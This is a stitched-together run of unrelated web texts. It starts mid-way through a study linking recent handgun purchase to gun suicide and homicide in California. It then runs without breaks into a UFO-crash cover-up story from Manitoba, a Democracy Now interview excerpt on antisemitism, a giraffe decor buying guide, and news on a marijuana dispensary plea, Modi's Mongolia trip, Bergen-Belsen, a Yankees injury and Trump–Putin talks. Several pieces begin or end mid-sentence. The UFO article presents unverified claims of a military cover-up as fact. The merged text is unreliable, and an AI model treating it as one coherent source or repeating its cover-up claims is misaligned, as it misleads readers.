cases and are not shown separately. Table 4 Crude and adjusted odds ratios for handgun purchase within three years of death among female Californians age 21 and older who died from selected injury causes in 1998, compared with women who died from non-injury causes Almost 22% (252 of 1162) of deaths among handgun purchasers were firearm related. Gun suicide accounted for 18.9% of deaths among handgun purchasers and 0.6% of deaths among non-purchasers. Gun suicide was the third leading cause of death among male handgun purchasers, accounting for 17.5% of all deaths (188 of 1076), but made up only 1.1% of deaths among male non-purchasers (1155 of 104 536). Gun suicide was the leading cause of death for female purchasers and accounted for 37.2% of all deaths in that group (32 of 86), but accounted for only 0.2% of deaths among female non-purchasers (171 of 107 768). Gun suicide was also the leading cause of death among persons who purchased a handgun within one year of death, accounting for 29.3% of all deaths in that population (167 of 569). Handgun purchasers made up just 0.5% of our study population (1162 of 213 466 persons), but accounted for 5.8% of all violent deaths (275 of 4728), 7.8% of suicides (237 of 3035), and 1.9% of homicides (32 of 1657). Similarly, purchasers accounted for 14.2% of gun suicides (220 of 1546), 2.4% of gun homicides (26 of 1102), and 16.7% of unintentional gun deaths (six of 36). Of all handgun purchasers who died in 1998, 48.9% (569 of 1162) bought a handgun within one year of their deaths.
DISCUSSION Among Californians who died in 1998, those whose deaths resulted from violence or firearm related injury were more likely than those who died from non-injury causes to have purchased a handgun between 1996 and 1998. While this association was strongest among persons dying from suicide, there was no evidence that the purchase of a handgun produced a protective effect against homicide; homicide victims were also more likely to have purchased a handgun than those dying from non-injury causes. Over one fifth of deaths among handgun purchasers, but just 1.1% of deaths among non-purchasers, were from gun related injury—an increase that was attributable almost entirely to an increase in gun suicide. Handgun purchasers constituted just 0.5% of our study population, but they committed 14.2% of gun suicides. Among women, the association between violent death and handgun purchase was remarkably strong, again due largely to gun suicide. Although the number of female purchasers in our study population was small, these results should not be dismissed. Handgun manufacturers have recently increased the marketing of guns to women by touting the protection handguns may provide them.16 Our findings show, however, that women who died from violence were more likely, not less, to have purchased a handgun within the three years before death. For three reasons, our findings probably underestimate the association between violent or firearm related death and prior purchase of a handgun. First, although our non-purchasers had not bought a handgun from a licensed California gun retailer within three years before their deaths, they could have done so earlier. They could also have recently purchased a handgun from a source other than a licensed retailer without producing a record of the transaction. This has been illegal in California since 1991, but we believe it occurs frequently: perhaps 40% of all transfers of firearms are between private parties,17,18 but less than 10% of sales records forwarded to the California Department of Justice are for such private party sales (unpublished data on file with the authors). Second, non-purchasers could be passively exposed to guns. Some 35% to 40% of all households in the United States have a gun, and as many as 25% have a handgun.18–21 Even passive exposure appears to increase the risk of a gun related death and therefore would increase the risk of dying by gun violence in our non-purchasing population.4–6,9 Our odds ratios are therefore probably lower than would be observed if handgun exposure, whether by personal acquisition or passively, could be measured perfectly. Third, we are unable to eliminate completely from our control population persons dying from causes of death that are “plausibly” (Rothman and Greenland, p 7711) related to our exposure of interest. Alcohol abuse, for which an association with both gun use and unintentional injury death led us to exclude injury deaths from our control group, is also related to death from some forms of cancer and cardiovascular disease and other causes—though the attributable risk is both less in absolute terms and not as predominant as it is for unintentional injury. Handgun purchase may be indirectly associated with many causes of death if it is associated with other common behavioral risk factors; including these causes of death in our control population is another source of conservative bias in our estimates of association. Our results are subject to other limitations. Since all members of our study population died, we could not estimate the actual risk of dying from gun related causes. We do not know if the gun deaths of the purchasers in our study population involved the handguns they bought between 1996 and 1998, nor do we know if any purchasers resold their guns before death and were no longer exposed. The study population does not include persons less than 21 years of age, because they are prohibited from purchasing a handgun. We measured the effect a handgun purchase had on causes of death among purchasers who died in 1998, not on other members of their households. We also did not have data for attributes such as mental illness, isolation, alcohol and other drug abuse, exposure to violence, and a prior criminal history, that earlier studies have found to have a relationship, independent of household gun ownership, to risk for homicide or suicide.4–6 It is important to note that those studies used live controls. In this study, where all subjects died and case-control assignment was made on cause of death, not vital status, the relationship between such attributes and the primary exposure and outcome of interest could be quite different. Because our data allowed us to measure the effects of an individual’s decision to assume the risks associated with handgun ownership, the results of this study differ from those of past case-control studies. With one exception,3 previous studies only measured the risk of a passive exposure to a handgun present in the household.4–6,9 In addition, this study focused on recent exposure to a handgun, whereas exposure in all other studies but one3 was of unknown duration. Our findings document a very strong association between handgun purchase and subsequent gun suicide. There are few evidence based solutions to the problem of suicide. It would, for example, be difficult to screen potential gun buyers for suicide risk factors.7 General restrictions on handgun ownership, on the other hand, have been found to reduce gun suicide rates without an increase in suicide by other means.22 Since those who die from gun suicide are likely to have been recent handgun purchasers, it is possible that an extended waiting period could have a “cooling off ” effect.23–25 It is also possible, however, that this “cooling off ” period would only delay suicides, not prevent them. Temporary prohibitions on gun purchase by persons who have been involuntarily hospitalized for mental health reasons, a policy that was recently adopted in California, may be of some benefit.
Key points Among adults dying in California in 1998, a handgun purchase during 1996–98 was more common among persons dying from suicide (OR 6.8), gun suicide (OR 12.5), homicide (OR 2.4), and gun homicide (OR 3.3) than among those dying from non-injury causes.
Among women, handgun purchase was much more common among those dying from suicide (OR 33.9) and gun suicide (OR 109.8). Gun suicide accounted for 37.2% of all deaths among women who purchased handguns.
Persons who bought a handgun during 1996–98 made up 0.5% of those who died in 1998, but accounted for 5.8% of all violent deaths, 2.4% of gun homicides, 14.2% of gun suicides, and 16.7% of unintentional gun deaths.
Gun suicide accounted for 18.9% of deaths among handgun purchasers and 0.6% of deaths among non-purchasers.A flying saucer [update: the UFO is apparently shaped like a stepped pyramid, without its apex - image below] has allegedly crash-landed thr...
http://humansarefree.com/2015/02/ufo-crash-lands-in-canada-government.html
“Apparently a disc shaped craft was seen crashing through the ice on the lake, at least one person got photographic evidence but has since been detained by the Canadian military. UFO crash in rural Manitoba Canada: A UFO crash landed into a frozen lake within the last 24 hours on a Indian reservation in rural Manitoba. I have contact with a former resident of the reservation and their family still lives on the reservation and informed them about the situation this evening.
I have also been informed that nobody is allowed to leave or enter the reservation at this time and that the military has been going door to door talking with residents. They are telling the residents that they are conducting emergency training exercises, but there has been an extreme cold front in Manitoba over the last 2 days and it is extremely dangerous to spend time outdoors for any period.
The military has moved in all their equipment effectively blocking any view of what may have crashed into the water or what they are doing there, but I’m sure they are recovering the evidence.
I will get back in touch with in a few hours, I was told the name of the reservation but it was very long and hard to pronounce, I will get the exact spelling of the reservation in a few hours when I meet with my contact and I will forward any new information over.” Mark
“UFO crash reported on the Jackhead reserve in Manitoba, Canada apparently the Canadian Military have vehicles lined up on north Shore... they are threatening anybody who tries to take pics… lots of eye witnesses… Thur is round object being hauled across the lake being pulled by snow mobiles and bombardier.”
Trucks and police vehicles arriving at site of crash. Image source
Evacuating the area around the alleged UFO crash site - Image source
The alleged Lake Winnipeg crash site. Image source
Update: It was brought to my attention that the above picture is fake, which explains the very low resolution. Original picture It was brought to my attention that the above picture is fake, which explains the very low resolution. Original picture here
“There’s no aliens, just my friends in the air force who are out there helping us on this exercise…I have the commander of that air force contingent sitting right beside me and, you know, he assures us that that was not a UFO, but that was him.”
A flying saucer [update: the UFO is apparently shaped like a stepped pyramid, without its apex - image below] has allegedly crash-landed through the ice of Lake Winnipeg, in Manitoba, about 72 hours ago. The Canadian government is covering everything up.The military is involved in the recovery of the alleged UFO and witnesses have been detained.A complete blackout has been ordered by the government and some of the courageous people have been posting pictures and info online, but with their names blurred. Phone lines are also down.I will continue to update you, as soon as new information emerges. This is the story as presented by Third Phase of the Moon and Before it's News In Manitboa, Canada on the Jackhead Reservation reports have been surfacing of a UFO crash landing into Lake Winnipeg.Recently a call came into Thrid Phase of the Moon reporting this. The man went by the name of Mark. Here is part of the dialogue:Here is the full video dialogue between Third Phase and Mark (the aircraft in the video is not the aircraft they are talking about, it’s just pictured during conversation):But that’s not all! Reports were also coming in on Facebook, a man by the name of Brent Mancheese linked CNN stating Furthermore, many on Twitter and Facebook were posting pictures like these:Despite the outcry from citizens in the area about the crashed UFO and reports of military forces using snowmobiles to drag away a large disc, the Canadian Forces are claiming this is all just one big military training exercise training search and rescue how to deal with a plan crash in the Arctic.According to Lt.-Col. Paul Davies, commanding officer of 38 Territorial Battalion Group in Canada, who was reportedly involved in the Arctic Response Company Group training exercise on Lake Winnipeg, stated this to CBC News The trouble with this statement is the Canadian Forces are refusing to show the supposed “Military craft” to the public. If this is a training exercise why not display the craft to stop the talk about it being a UFO?Third Phase of the Moon is also reporting that they have an image of this craft sent in by viewers, however no photographs have surfaced as of yet. Here is that breaking report:Third Phase of the Moon released a new interview:A video has been uploaded on YouTube, which claims to show the Manitoba UFO, moments before crashing:The video is not very convincing and should be taken with a grain of salt.Intro and additions by HumansAreFree.comThis is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: Which brings me to Montana, and I wanted to ask you this question, Rebecca. A white supremacist website has issued a call for violence against the Jewish community in the town of Whitefish, where white supremacist Richard Spencer’s mother lives. The call for violence includes listing the phone numbers and email addresses of Jewish residents. Richard Spencer says he’s considering running for Montana Congressman Ryan Zinke’s House of Representatives seat, if Zinke is confirmed to head the Interior Department. Trump picked him for the Cabinet position last week. Meanwhile, Trump has picked Stephen Miller, who has close ties to Richard Spencer, to be a senior adviser in the White House. Talk about white nationalism and what this means here in the United States.
REBECCA VILKOMERSON: Yeah, I mean, it’s been a real concern ever since Stephen Bannon became Trump’s campaign manager back in the summer. Now, of course, Bannon is in a very close proximity to Trump in the White House, or is going to be in very close proximity to Trump in the White House. And Bannon himself has called Breitbart, which he was managing, a platform for what he calls “alt-right,” but of course is just the forces of white nationalism, white supremacy, you know, open racism, misogyny, Islamophobia, anti-Semitism. And we can see how this has empowered anti-Semites in this country and how—that we’ve seen a spike in not only anti-Semitic incidents, but also, of course, on Islamophobic incidents, racist incidents, that sort of thing. And this incident in Whitefish is just the most recent manifestation of that.
And so, certainly for me, this is the closest proximity to power that I’ve seen anti-Semitism in the United States. I still feel much more concerned about the kind of Islamophobic and racist policies that Trump has openly said that he would pursue, but, of course, they all go together. And so I think we have, you know, a moment where, certainly in my lifetime, we’ve never seen this kind of forces come so close to power and to start to take power. And so, it is scary. And I think one of the things that’s so upsetting about the Anti-Semitism Awareness Act I spoke about a moment ago is that a lot of the mainstream Jewish institutions, like AIPAC and the Jewish Federations, they have not been speaking up about Bannon, they haven’t been speaking up about David Friedman and his reprehensible comments, and yet they’re willing to use this moment of elevated fears about anti-Semitism to push through these laws that aren’t just—aren’t really about white supremacist anti-Semitism, but about punishing people who are working for Palestinian rights.
AMY GOODMAN: How is Jewish—how is Jewish Voice for Peace organizing? None of this is set in stone. These are nominations. Today is Electoral College day.
REBECCA VILKOMERSON: That’s right, yeah. I mean, I think we, as part of a much broader collective movement, are determined to fight this on every front. And so, we worked very, very hard so that the House did not actually hear the Anti-Semitism Awareness Act. We’re going to be fighting very, very hard against David Friedman’s appointment, along with what I hope will be a broad range of organizations, Jewish and not. And I think all of us—you know, all of our—all of our movements, which are going to have to come together around these broad principles, are going to have to work together to fight this in every single way that we can.
AMY GOODMAN: I want to thank you for being with us, Rebecca Vilkomerson—
REBECCA VILKOMERSON: Thank you.
AMY GOODMAN: —who is head of Jewish
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Check out these giraffe bookends to see if there’s any styles you like.
Some look incredibly formal while others fit into pretty much any decor style.
I don’t think everyone needs bookends and they certainly aren’t a hot commodity. But they do serve a purpose and if you can dress ‘em up with giraffes then why not!
Giraffe Table Decorations
I consider tabletop decorations pretty simple additions to any home.
These are my top picks for giraffe decor that can work on any table. But don’t take this as the complete list because you’ll find so many others items if you search around.
Flower Pot
Whether you have real flowers or fake ones these giraffe flower pots look wonderful alongside any table.
They do vary widely in sizes so make sure you measure your tables before ordering. But I have found some incredibly detailed patterns that really bring the giraffe look to life.
And if you’re looking to bring these outdoors you can keep them in the garden or on a shelf near your entryway.
Tissue Box Covers
I admit this may be going a little overboard, but gosh darnit these really do look awesome.
Tissue box covers let you decorate your, well, tissue boxes. Thankfully there are some cool giraffe styles that fit both a child’s room and a main living room.
A good majority of these are handmade so you’ll wanna grab anything you like before it sells out.
Table Runners
For longer coffee tables and dining room tables you might pick up a giraffe table runner.
This certainly isn’t needed for your room but it does add that mild touch of interior style. You can find a bunch of great runners and my favorites all use the giraffe pelt design.
But as with everything else in this guide there’s a lot of variety to pick from.
See what’s out there and if you can match up a runner with your room be sure to pick it up.
Candle Holders
If you burn a lot of candles then look into grabbing a giraffe candle holder for your tabletop.
You can pick up a couple of these for pretty cheap and they’ll last you a lifetime. The difficulty is finding a set of candle holders that’ll match the room.
Thankfully most of these candle holders use simple colors that blend well across all decorating styles. But I’d only recommend these if you’re big into candles and have a need for them taking up space.
Giraffe Centerpieces
One other table design idea is a giraffe centerpiece. This is certainly a unique idea and many of these actually go best with parties.
But there are some centerpieces you could keep out year-long on your coffee table or dining room table, or even in your child’s room if they have a small end table.
Giraffe Wall Decor
Not everyone has the space on counters or tables to add extra decorations. But it’s not too hard to find extra space on your walls.
These wall decorations come with a mix of practical items along with simple art. Take a look and see if any can fit with your home.
Wall Decals
Custom wall decals can either look really nice or super goofy depending on how they’re setup.
I find that giraffe wall decals go best in a nursery or in a child’s room. They can also work well in a home office or some type of creative studio room.
But I wouldn’t recommend these for any main room in the house because they’ll draw too much attention. Decals are great when used sparingly but make sure you’ve got the space for ‘em.
Rustic Designs
I simply adore rustic wall art. It’s one of the best decorating styles to follow because it creates a very at-home feeling in the space.
With these rustic giraffe designs you can sort through dozens of custom wall pieces. They mostly focus on giraffes but some include other animals from the savanna too.
And they all come with detailed wood styles so there are many colors and patterns to pick from.
Wall Hooks & Hangers
A key hook is one of the more pragmatic additions you can add onto your wall. This fits well right by the door so you always know where to find your keys.
If you’re willing to push your style check out these giraffe wall hooks.
Some are meant to be key hooks while others act more like coat hangers. You can also fit these in your child’s room if they have trouble keeping track of their coats.
But the coolest thing about these hooks is their multi-purpose design. Real easy to get them mounted and they’ll last for years.
Custom Wall Clocks
You can place wall clocks anywhere from the living room to your bedroom or the kitchen. And with so many different styles you might have no idea where to start.
But considering this post is all about giraffes I’d wager you might like a sleek giraffe clock to hang on your wall.
Again these come in many different styles where some are repurposed, others are handmade, and others are vintage items from years past.
You’ll also find a good variety of more “modern” designs along with children’s designs for a nursery.
Faux Wall Mount Taxidermy
This may not work in every home but if you like wall-mounted animals check out some faux giraffe taxidermy plaques.
Yes these are all fake so don’t worry about any giraffes being hunted. In fact they’re all pretty cheap considering the materials and you can find many styles from realistic heads to cartoony designs.
I’d say these can work in any room but they have to work around the existing decor.
Giraffe Nursery Decor
If you’ve got kids then you know how much work it is to create a beautiful nursery. This adapts over time as your kids get older and they start picking their own decorations.
But giraffes are perfect for nurseries and these decorations can give you some ideas to start with.
Name Plates & Signs
If your kids love giraffes then consider grabbing them a personalized name plate for their room.
You can usually get any plate customized with any phrase you want. So these even work for other rooms if you wanna label bathrooms to avoid confusion when guests are over.
But most have kid-oriented designs so they’ll make awesome birthday gifts for youngins.
Growth Charts
It’s always fun watching the years pass and seeing your kids get older. Maybe “fun” isn’t the right word but it’s exciting!
These giraffe growth charts are fun to tack onto your nursery wall as the years pass. You can mark their growth with each birthday and it’s something you can keep for the memories once they’re all grown up.
Diaper Bags
Everyone needs a diaper bag prepped and ready to go. You can find some simpler designs in stores but why not go with a little flair instead?
These giraffe diaper bags are well designed and full of life.
They’ll work with just about any style and most kids love the giraffe designs.
Night Lights
Wall night lights are especially helpful if your house gets real dark at night.
Take a look over these giraffe night lights to see if any are worth grabbing. Most of these are handmade and the attention to detail is exquisite.
But they’re also very unique so if you want some giraffe decor in your home these nightlights are truly one of a kind.
Handmade Rugs
Your kids may also like floor rugs for their nursery. These last quite a while and you can find them in many different styles.
A lot of these custom giraffe floor rugs use giraffe shapes or faces for the designs. But you can also find more generic patterns in case you think the giraffe face would scare your child.
Light Switch Covers
Here’s another very subtle design aesthetic you can fit into practically any room, but it works especially well in a nursery.
Giraffe light switches are mostly custom made so they are all unique. These come in a lot of styles with some geared towards nurseries and others geared towards main rooms in the house.
Take a look at see what’s out there because you may be surprised how many light switch covers can work in any room.
Step Stools
Adding a step stool into your bathroom or kitchen is great when you’ve got smaller kids. This may not stick around for too many years but it’s still a cute item to have when needed.
If you like custom designs then these giraffe step stools are sure to please.
There are so many hand painted designs in this list that I can’t recommend just one. Take a look at what’s out there and see if any jump out at you.
Baby Crib Mobiles
Last but certainly not least is the beloved giraffe baby crib mobile. This is perhaps one of the most iconic features of any nursery and it’s practically a must-have for babies.
Many of these mobiles are customs and some include a mix of African savanna animals.
But you can also find giraffe-only mobiles with a bunch of options to pick from. These aren’t exactly the cheapest but they have fare more attention to detail compared to anything you’ll find in baby stores.
Various Giraffe Home Decor Items
Here are all the decorations I couldn’t squeeze into one of the other categories.
This is like my random grab bag of interesting decorations and you never know what you’ll find. So before we wrap up this post take a look over these other giraffe pieces you might want for you home.
Binder Clips
Try adding these adorable binder clips into your home office for a taste of African design.
These are fairly cheap to order in bulk and you can keep ‘em for life so long as you don’t lose too many. I always like to decorate my office with little knick-knacks and these are a prime example of something cheap & easy.
Desk Accessory Cans
Another cool idea for an office is a custom desk can for storage.
These things can hold pretty much whatever you need and they come in varying sizes too.
In fact these could work for any room from your bedroom to the kitchen. It just depends what you wanna keep inside.
Notepads & Note Cards
Looking to add some creativity into your grocery lists and the notes you stick on the fridge? Then grab a pad of giraffe note cards.
You’ll find a tremendous selection online with many different sizes, paper styles, and of course patterns & prints to choose from.
Best of all these notecards are pretty affordable for the amount you get.
Mouse Pads
To save your desk from wear & tear it’s a good idea to use a mouse pad. This keeps laser mice from wearing down the wood over years of use.
Fans of giraffes will surely love these custom mouse pads which again come in a wide variety of styles.
Some measure a bit wider so be sure to check the dimensions before ordering. But no matter what size of desk you have there’s bound to be something that’ll work.
Christmas Tree Ornaments
Every year around December it’s fun to pull out the ornaments and decorate your home for the holidays.
With xmas giraffe ornaments you can add some savanna love into your Christmas tree. All of these ornaments are handmade so they’re both unique and rare to find.
If you see any ornaments that would look gorgeous on your tree be sure to grab ‘em before they sell out.
Door Stopper
Whether you’re trying to keep the warm air in or keep the cold air out, a door stopper is a great solution.
You can find a few giraffe door stoppers out there which all have custom giraffe spot patterns. I like these because they’re subtle enough to blend into any room, yet detailed enough to bring the giraffe designs to life.
But there are so many other giraffe decor items out there but I simply can’t cover them all.
Use this guide as a huge starting point to add more giraffarific stuff into your home.Dave Overholt was arrested for being in violation of Michigan's medical marijuana law. Photo taken Tuesday, September 10, 2013. (Chris Clark | MLive.com)
GRAND RAPIDS, MI – After saying his trial would provide a direction for medical marijuana distribution, Mid-Michigan Compassion Club owner David Overholt agreed to close his Grand Rapids dispensary in exchange for no jail time on a charge of delivery and manufacturing of marijuana. Overholt was set to stand trial today on the charge along with additional felonies of maintaining a drug house and delivery or manufacture of narcotics. Instead, he pleaded no contest to the marijuana charge and Assistant Kent County Prosecutor Gregory Boer agreed to dismiss the remaining charges. The plea agreement also recommends Kent County Circuit Court Judge Mark Trusock give Overholt no jail time as long as the business on Leonard Street NW, just a few blocks west of Alpine Avenue, is closed by the date of sentencing, Nov. 7. In early March,
saying the dispensary was illegal and not authorized under the Michigan Medical Marijuana Act approved by voters in 2008. Previously, Overholt said his “caregiver-to-caregiver” business has about 30 different caregivers who grow different strains of marijuana and provide the club with product. The marijuana is sold for $10 per gram. Overholt referred to his nonprofit endeavor as “healing, not dealing.” “I think this is going to be a really big case for a lot of people across the state,” Overholt told The Grand Rapids Press earlier this month. “It’s going to give a defined direction about dispensaries.”
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But Overholt said he had no choice once Trusock ruled he could not argue that he was a licensed caregiver as a defense because the charge is not about the medical marijuana act, but is about the narrower focus of illegal drug activity. Overholt said the ruling meant the defense he and his attorney Richard Gould had been preparing was moot. “It would have taken a jury 30, maybe 40 minutes to find me guilty,” Overholt said. "I don’t know if I made the right (decision). Maybe I should have taken my chances with a jury.” Overholt said he feels like he was railroaded into making his plea and hopes to get the ACLU involved in an appeal to the Michigan Court of Appeals. Overholt remains free on bond pending sentencing.
E-mail Barton Deiters: [email protected] and follow him on Twitter at twitter.com/GRPBarton or Facebook at facebook.com/bartondeiters.5NEW DELHI: While China will be in focus during Prime Minister Narendra Modi's forthcoming visit to East Asia, the real value would be his trip to neighboring Mongolia, where Indian grand strategy will meet the charms of "Art of Living" style of meditation and mindfulness.Constrained by geography and sandwiched between the great powers of China and Russia, Mongolia has looked upon India as a "spiritual neighbour". That's why Mongolia will greet the first ever prime ministerial visit from India by going the whole nine yards on a weekend. As India intensifies its efforts to engage with China's periphery, Mongolia has become more significant to New Delhi's Asia strategy.Chimed Saikhanbileg, Mongolian PM, will be opening up the Parliament for Modi on Sunday to address lawmakers in Ulaan Baator. Since this is also Mongolia's 25th anniversary of becoming a democracy, India will push two key elements of its soft power - Buddhism and democracy. Coming from China, the distinction cannot be more stark.But the "cool" component will doubtless be a special workshop of the popular 'Art of Living' practice, which apparently enjoys huge popularity in Mongolia. Saikhanbileg has promised to be part of the workshop, though it's not clear whether Modi will participate as well.Modi is scheduled to begin his visit at the famous 19th century Gandantegchinlen Monastery where he will plant a sapling from the 'Mahabodhi' tree. The Mongolians will lay out the rarest of rare visual treats - a special session of their national festival, the Naadam Games. This festival, featuring equestrian sports, wrestling and archery, is generally held in July and is on the UNESCO list of intangible heritage, apparently tracing its history to Genghis Khan.For the first time, this year will see a second celebration, albeit on a smaller scale, for the Indians on Sunday.India has always enjoyed a special place in Mongolia, but with China and India both engaging intensively in each other's periphery, this land-locked East Asian country has acquired strategic importance.Mongolia is rich in minerals, but India has consistently lost out to China in access to these resources. In 2014, China's Shenhua Corporation together with Japan's Sumitomo Corp and Energy Resources LLC took over the massive Tavan Tolgoi coal deposits. India came up with a non-serious bid that had little chance of going through. India even signed a uranium deal with Mongolia in 2009, but that has not gone further, and the Indians have cooled off.Modi is expected to announce a big assistance package to Mongolia. That is part of India's recent outreach to all of China's neighbours, a counter strategy to Beijing's own outreach to countries in India's periphery. Mongolia is also the only country where the Indian ambassador from 1990-2000 was the 19th Kushok Bakula Rimpoche, one of the leading lamas of the 20th century. A sign of his importance, and consequently that of India was that it was the Indian ambassador who hosted the Mongolian leadership, not the other way around.Ceremony marks 70th anniversary of liberation of concentration camp in northern Germany where more than 70,000 people died, including Anne Frank
Holocaust survivors and government officials have gathered at the memorial site of the former concentration camp Bergen-Belsen in northern Germany, in a solemn ceremony to commemorate the liberation of the camp 70 years ago.
The concentration camp was liberated on 15 April 1945 by British soldiers who found more than 10,000 dead bodies when they entered it.
On Sunday, Joachim Gauck, the German president, thanked British soldiers for the liberation and honoured them as “ambassadors of a democratic culture who were not looking for revenge”.
Around 200,000 people were deported to Bergen-Belsen during the Nazi reign of terror. More than 70,000 people died there, including teenage diarist Anne Frank.
During his speech, Ronald Lauder, the president of the World Jewish Congress, said: “Right now, we stand on one of the largest Jewish cemeteries in the world. But there are no gravestones, there are no markers. The victims buried here lost not just their lives; the Nazis took their identities as well.”
Ceremonies have been held across Germany and Poland throughout the spring, marking the advance of allied troops as Nazi Germany neared defeat. They are even more poignant this year because of the dwindling number of survivors and witnesses to the Holocaust.
Lauder warned his listeners at the ceremony in Bergen-Belsen that antisemitism is on the rise again in Europe, 70 years after the end of the Holocaust. He said: “Today, 70 years after this camp was liberated, we hear the same antisemitic lies. Today, a Jewish boy wearing a yarmulke cannot walk down the street in Paris or London or Copenhagen without fearing for his life.”
Commemorations were also held at the former Flossenbürg camp in southern Germany, where some 30,000 people died between 1938 and 1945. Flossenbürg was liberated by American soldiers on 23 April 1945.Greg Bird’s 2016 season is over before it even began, as the first baseman is set to undergo shoulder surgery Tuesday to repair a torn right labrum, first reported by The Post.
The 23-year-old, who helped keep the Yankees’ offense afloat after he was called up to replace the injured Mark Teixeira in August, aggravated an injury suffered last May while he was with Double-A Trenton that landed him on the disabled list for a month.
He felt pain in the area again while working out in Tampa and was sent to New York for tests, which revealed the tear. Dr. David Altchek will perform the procedure at Hospital for Special Surgery.
General manager Brian Cashman said Bird complained after the season that he was still dealing with discomfort in the area, but both team physician Christopher Ahmad and Altchek noted no change in his MRI exam and recommended rest and rehab.
“When he ramped up his activities the last few weeks, he felt pain again,” Cashman said, and this time both doctors recommended surgery.
The loss of Bird might not impact the look of the Yankees’ Opening Day roster, as Cashman was consistent throughout the offseason that despite Bird’s performance in the majors last year, he was going to start 2016 at Triple-A Scranton/Wilkes-Barre because of the return to health of Teixeira at first base and Alex Rodriguez at DH.
Even so, given the age and injury concerns of both Rodriguez and Teixeira, Bird figured to be called upon to come to The Bronx at some point during the season.
In 178 plate appearances with the Yankees a year ago, Bird hit.261 with 11 homers, 31 RBIs and an.871 OPS.
And the injury doesn’t just knock out an ideal safety net if Teixeira or Rodriguez gets hurt, it also deprives Bird of another full season of development and could strip him of some power whenever he returns.
“We’ll see,” Cashman said about whether the Yankees could expect Bird to maintain his power when he comes back. “You can’t rule anything out. The operating surgeons are optimistic that with a successful surgery, he will return to play in 2017 at his normal form.”
In the meantime, Bird was “waiting in the wings” to fill in at the major league level according to Cashman, who will now look for a first baseman for SWB as Teixeira enters the final year of his contract.
In terms of their current roster, Dustin Ackley looks to be the only viable option to back up Teixeira at first base. The Yankees could make a trade for insurance or look at free agents such as former Met Ike Davis, as well as Pedro Alvarez, formerly of the Pirates, and Justin Morneau, who was most recently with the Rockies.
The Yankees’ depth at the position is weak, as evidenced by the fact Tyler Austin, who has primarily been an outfielder throughout his minor league career, was mainly used as a first baseman while in the Arizona Fall League this offseason because of an excess of outfielders.CLOSE The U.S. and Russia gave conflicting accounts of what happened in the meeting between Presidents Trump and Putin at the G-20 summit. Video provided by Newsy Newslook
President Donald Trump and Vladimir Putin (Photo: Evan Vucci, AP)
WASHINGTON — Fresh off a G-20 summit that included a meeting with Russian counterpart Vladimir Putin, President Trump and aides sought Sunday to get the Russia hacking investigation behind them — while lawmakers from both parties served notice that won't happen anytime soon.
“I strongly pressed President Putin twice about Russian meddling in our election,” Trump tweeted. “He vehemently denied it. I’ve already given my opinion...”
I strongly pressed President Putin twice about Russian meddling in our election. He vehemently denied it. I've already given my opinion..... — Donald J. Trump (@realDonaldTrump) July 9, 2017
On his recent trip to Poland and Germany, Trump told reporters that “it could very well have been Russia” that hacked top Democrats, “but I think it could well have been other countries” as well. “Nobody really knows for sure,” the president said.
During his Sunday tweet storm, Trump said it is time to "move forward" in working with Russia. He included a proposal for a joint U.S.-Russian "cyber security unit" to address hacking, an idea ridiculed even by Republicans who said Putin simply cannot be trusted.
Sen. Lindsey Graham, R-S.C., speaking on NBC's Meet The Press, said he is "dumbfounded" by Trump's overall response to the Russian hacking scandal, including the president's implicit criticism of the findings of the U.S. intelligence community.
"I think it's going to dog his presidency until he breaks this cycle," Graham said.
Russian officials said Trump accepted Putin's denial of Russian hacking and said that political enemies are exaggerating the issue — claims that U.S. officials did not dispute a day after the high-profile meeting on the sidelines of the G-20 summit in Hamburg, Germany,
However, during an interview on Fox News Sunday, White House Chief of Staff Reince Priebus said Trump does not believe Putin's denials, and repeatedly pressed the Russian president on election meddling before moving on to other issues. (Priebus added that Trump believes others have meddled in elections as well, citing China and North Korea as examples.)
"So, yes, he believes that Russia probably committed all of these acts that we've been told of, but he also believes that other countries also participated in this," Priebus told Fox News.
Trump met with Putin in Germany on Friday; he returned to the White House from the G-20 on Saturday night.
As Special Counsel Robert Mueller and congressional committees investigate Russian election meddling — and any links there may have been to the Trump campaign — the president also used Twitter to again attack Democrats and the news media over the many questions surrounding his 2016 race against Hillary Clinton.
Trump's tweets, including one which he said Putin "discussed forming an impenetrable Cyber Security unit" that could address hacking and "many other negative things," drew expressions of dismay from fellow Republicans.
"Partnering with Putin on a 'Cyber Security Unit' is akin to partnering with Assad on a 'Chemical Weapons Unit.'" tweeted Sen. Marco Rubio, R-Fla.
A rival of Trump's during last year's Republican primaries, Rubio also said: "We have no quarrel with Russia or the Russian people. Problem is with Putin & his oppression, war crimes & interference in our elections."
We have no quarrel with Russia or the Russian people. Problem is with Putin & his oppression, war crimes & interference in our elections 1/3 — Marco Rubio (@marcorubio) July 9, 2017
Graham, speaking on NBC, said a U.S-Russian cyber security unit is "not the dumbest idea I’ve ever heard, but it’s pretty close."
Democratic opponents of Trump questioned whether the president is willing to do anything about Russian efforts to interference in last year's election, an vowed to continue investigating possible links between Russian hackers and the Trump campaign.
U.S. Rep. Adam Schiff, D-Calif., top Democrat on the House Intelligence Committee, said Trump supports Russia by consistently undercutting the U.S. intelligence community's assessment that Putin's government authorized the election hacking. "I don't think we can expect the Russians to be any kind of a credible partner in some cyber security unit," Schiff told CNN's State of the Union.
Calling the idea "dangerously naive," Schiff said: "If that's our best election defense, we might as well just mail our ballot boxes to Moscow."
No talk about sanctions
Trump also made a point of tweeting that he and Putin did not talk about lifting a series of U.S. economic sanctions imposed on Russia after last year's election and after military activities in Ukraine, including the 2014 "annexation" of the Crimea region.
"Nothing will be done until the Ukrainian & Syrian problems are solved!" Trump tweeted regarding Russian sanctions.
U.S. and Russian officials also gave different stories about the hacking flap after the Trump-Putin meeting.
Russian Foreign Minister Sergei Lavrov said the U.S. president accepted Putin's denial about the hacking. U.S. officials did not dispute Lavrov's statement, more or less confirming it.
Asked about Lavrov, Treasury Secretary Steve Mnuchin told reporters on Saturday: "You know, we're not going to make comments about what other people say. President Trump will be happy to make statements himself about that."
Appearing Sunday on ABC's This Week, Mnuchin said there's no reason for Trump to "broadcast" everything he said to Putin, and that the president has "made it very clear how he feels. He's made it very clear that he addressed it straight on."
In other Twitter posts, Trump criticized the Democrats for poor cyber security of their own, President Barack Obama for not moving against the Russians during the election season, and media organizations for their coverage of the various investigations.
The president also expressed a desire to work with Putin and Russia on global issues: "We negotiated a ceasefire in parts of Syria which will save lives. Now it is time to move forward in working constructively with Russia!"
...We negotiated a ceasefire in parts of Syria which will save lives. Now it is time to move forward in working constructively with Russia! — Donald J. Trump (@realDonaldTrump) July 9, 2017
